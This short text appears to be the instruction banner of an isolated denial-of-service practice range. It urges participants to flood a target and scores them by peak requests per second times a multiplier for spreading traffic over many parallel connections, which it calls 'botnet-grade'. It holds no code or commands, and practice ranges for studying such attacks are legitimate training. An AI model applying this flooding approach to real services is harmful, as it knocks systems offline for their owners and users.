Live. Flood the target and watch your rank climb — sustained volume across many connections beats a single fast socket. This range is isolated and hard-capped; you cannot hurt anything here.

Scoring = your peak 5-second rolling RPS × a connection-spread multiplier (up to 4×). One fast socket is a light tap; hundreds of parallel connections sustaining high RPS is botnet-grade. Send the X-Range-Session header (or claim a handle) so your traffic is attributed to you.
